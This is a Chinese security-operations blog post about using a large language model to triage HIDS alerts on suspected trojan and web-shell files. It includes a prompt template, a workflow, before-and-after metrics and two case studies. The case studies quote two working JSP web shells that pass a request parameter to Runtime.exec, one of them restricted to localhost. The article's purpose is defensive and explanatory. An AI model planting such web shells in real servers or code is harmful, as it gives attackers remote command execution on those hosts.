文章总结： 文章介绍如何利用大模型提升安全运营中木马病毒文件分析的效率，将人工处理流程转化为提示词让AI完成初步分析，使平均处理时长从9.3分钟降至3.1分钟，误判率从4.8%降至3.2%，人力需求减少80%。作者强调大模型是效率提升工具而非人工替代者，建议大模型承接80%常规案例，高风险低置信度案例需人工终审，并通过提供完整上下文、降低幻觉、置信度分级和数据协同循环来优化模型表现。 综合评分： 90 文章分类： 安全运营,AI安全,恶意软件,WEB安全,漏洞分析

安全运营-大模型木马病毒文件分析提效

原创

汤青松

青松阁主

2025年12月15日 08:46 北京

一、背景

在安全运营中HIDS的可疑木马告警很常见，处置流程会先查询威胁情报、分析代码、检索历史工单，有时还和业务人员核实，平均每单告警的处理耗时约10分钟。

告警高峰期人工处理易出现疏漏，导致真实威胁被遗漏。为实现告警的及时处置与全面覆盖，提升告警处理效率成为核心需求。这篇文章主要讲解通过大模型优化木马文件告警处理流程，实现安全运营效率提升。

二、人工SOP

在用大模型优化之前，我们HIDS告警处理已经有人工SOP，但有耗时问题，流程有五个环节：

1. 告警接收：HIDS会推送文件路径、MD5值、创建时间、进程树等基础信息，明确文件的“身份”与“位置”，但无法直接判断其安全性。
2. 情报校验：通过Virustotal、微步在线和内部情报库进行交叉验证，当3家及以上平台标记为恶意且置信度＞70%时可直接定性；未命中情报则需进一步分析。但情报平台延迟、小众恶意文件未收录等问题，情报有滞后。
3. 内容解析：二进制文件等待沙箱生成报告，耗时5-10分钟；文本脚本人工审计，重点排查Runtime.exec等命令执行关键词、十六进制混淆代码，以及注释中可能存在的黑产标识。
4. 业务验证：通过CMDB确认主机归属及业务变更信息，有时候需要和运维人员核实，平均等待时间约5分钟，运维忙碌时响应更慢，易引发误判。
5. 判定关单：整合所有信息判定告警为“恶意/误报”等结果，撰写结论后完成关单。流程各环节紧密关联，任一环节卡顿都会导致整体效率降低。

三、大模型提效

针对人工流程中“情报查询、代码分析、业务验证”三个核心耗时环节，我设计了一个大模型的提示词，封装为大模型的输入任务，让AI完成初步分析判断，缩减人工分析的主观性。

3.1 提示词

我把人工SOP逻辑转化为提示词，让大模型模拟人工思路分析。提示词示例如下：

你是一名拥有5年以上HIDS运营经验的安全工程师，精通Web脚本（JSP/PHP/ASP）恶意代码识别，熟悉各类业务场景下的正常脚本特征。
请根据以下完整信息，对文件进行安全判定并说明理由：
1. 文件唯一标识：hash值（MD5）为{{md5}}
2. 威胁情报查询结果：Virustotal结果{{vt}}、微步情报结果{{ti}}、内部情报库结果{{internal_ti}}
3. 文件完整内容：
{{file_type}}
{{code}}
4. 业务场景属性：
   - 所属业务线：{{app}}（如支付后台、监控系统、用户中台等）
   - 文件所在路径：{{file_path}}
   - 主机最近上线/变更时间：{{deploy_time}}
   - 关联运行进程：{{process_name}}
   - HIDS告警触发原因：{{alert_reason}}（如“包含命令执行函数”“代码混淆”等）

请严格按照以下JSON格式输出结果，不添加任何额外说明：
{"verdict":"malicious/benign/test/unknown",  // 判定结果：恶意/良性/测试遗留/无法确定
 "confidence":0~1,  // 置信度：0为完全不确定，1为完全确定
 "reason":"中文详细说明，需包含代码关键特征、业务匹配度、情报支撑等",  // 判定依据
 "next_step":"建议隔离/建议忽略/需人工复核"  // 后续处理建议
}

3.2 数据流转

为实现“告警触发-AI分析-工单流转”的无缝衔接，搭建了自动化调用链路：HIDS触发告警后，会自动提取文件内容及关联信息，并按提示词格式填充变量。

其中文本类文件占比约70%，可直接将完整内容传入大模型；二进制文件则先提取字符串特征和威胁情报信息再进行输入。大模型返回结构化JSON结果后，工单系统会依据“verdict（判定结果）”和“confidence（置信度）”自动打标签——仅将“unknown（无法确定）”及“confidence<0.7（置信度低）”的案例推送至人工处理队列，其余案例按AI建议直接处置。

这样就从之前人工全量分析变成重点复核，角色也从“执行层”升级为“决策层”，降低了重复劳动成本。

四、实战验证

目前我们的大模型运营提效项目上线三个多月，大模型处理了很多告警案例，大部分处理很正确，大幅提升了效率，不过也有个别case幻觉，两个典型的案例。

4.1 识别恶意文件

告警信息支付后台主机触发告警，文件路径为/tmp/.tmp-2025.jsp（具备隐藏文件特征），关联进程为tomcat，告警触发原因为“包含Runtime.exec命令执行函数”。

文件内容就一行：

<%Runtime.getRuntime().exec(request.getParameter("x"));%>

大模型输出分析结果，判定为恶意文件，置信度0.98，分析理由充分：“该文件为典型JSP一句话木马，核心代码通过request.getParameter获取外部输入参数‘x’，直接传入Runtime.getRuntime().exec执行系统命令，未设置任何权限校验或输入过滤机制；文件位于/tmp临时目录且以点开头隐藏，符合恶意文件的常见特征；其所属业务线为支付后台，此类脚本可能导致服务器被远程控制、核心数据泄露，安全风险极高”，并给出“立即隔离文件并溯源创建者”的建议。

人工复核结果与模型判定完全一致，分析师仅用1分钟即完成确认与关单。人工SOP流程中，仅情报查询、代码分析与业务验证三个环节就需耗时8分钟以上，效率提升效果很明显。

4.2 本地后门误判

我们每半年有一次攻防演练，在攻防演练期间有一个测试环境主机触发告警，文件名为test.jsp，关联进程为tomcat，告警触发原因为“包含命令执行与IP校验逻辑”。

文件内容是这样的：

<%
String x=request.getParameter("cmd");
//&nbsp;仅允许本地调用
if("127.0.0.1".equals(request.getRemoteAddr())){
&nbsp; &nbsp;Runtime.getRuntime().exec(x);
}
%>

大模型发现代码里的逻辑上 “只允许127.0.0.1本地IP执行命令”的限制条件，结合“test.jsp”的文件名，做出错误判定：结果为“良性”，置信度0.88，理由为“文件包含本地IP（127.0.0.1）校验逻辑，只允许本地发起请求时执行命令，可能是开发人员调试接口的特征；文件名为test.jsp，进一步支撑调试场景判断，无远程攻击风险”，建议“忽略”。

但人工复核发现，该文件实为攻击队渗透测试后遗留的本地后门——虽然限制了本地调用，但攻击者可通过服务器内其他漏洞获取本地权限后利用该脚本，本质仍属于恶意文件。

对于这种幻觉场景，我们对提示词进行了优化，补充专项规则：“若文件同时包含‘IP白名单校验’与‘命令执行函数’，即使限制本地调用，也需优先考虑‘后门’场景，判定为可疑或恶意，除非能明确匹配业务调试文档”。优化后同类案例的模型判定准确率明显提升。

五、提效分析

目前我们这个大模型运营提效项目运行三个月，统计了最近三个月3000条告警的处理数据，从“处理时长、误判率、人力成本”三个维度与纯人工流程进行对比，结果如下表所示：

| 指标 | 纯人工流程 | 大模型辅助流程 | 变化幅度 | | — | — | — | — | | 平均处理时长 | 9.3分钟/单 | 3.1分钟/单 | -67%（缩短近2/3） | | 整体误判率 | 4.8%（含误报、漏报） | 3.2% | -33%（降低1/3） | | 运营人力需求 | 1人 | 0.2人 | -80%（人力成本减半） |

大模型引入后整体处理成本大幅度降低，而且大模型辅助下整体误判率从4.8%降至3.2%，判断能力可部分替代初级工程师的工作。

六、核心总结

大模型是安全运营的效率提升工具，而非人工替代者，结论如下：

1. 初筛 与 终审：大模型承接80%常规案例的标准化分析，高风险、低置信度案例需人工终审，不要直接接入生产闭环。
2. 完整上下文：模型误判多因信息缺失，提示词要包含业务线、文件路径等上下文，匹配场景差异提升准确率。
3. 降低 幻觉：通过特有规则、白名单库、负样本知识等方式，将无法根除的AI幻觉控制在可接受范围。
4. 置信度 分级：将confidence<0.7的案例推至人工队列，防漏判又为模型优化积累数据。
5. 数据 协同循环：人工提炼经验转化为Prompt规则或训练数据，模型高效处理常规工作反哺人工，聚焦高价值任务。

七、看新机会

博主目前看新机会，期望甲方，有匹配的岗位，麻烦帮推荐，Thanks♪(･ω･)ﾉ

作者：汤青松 日期：2025年12月14日 微信：songboy8888

查看原文：《安全运营-大模型木马病毒文件分析提效》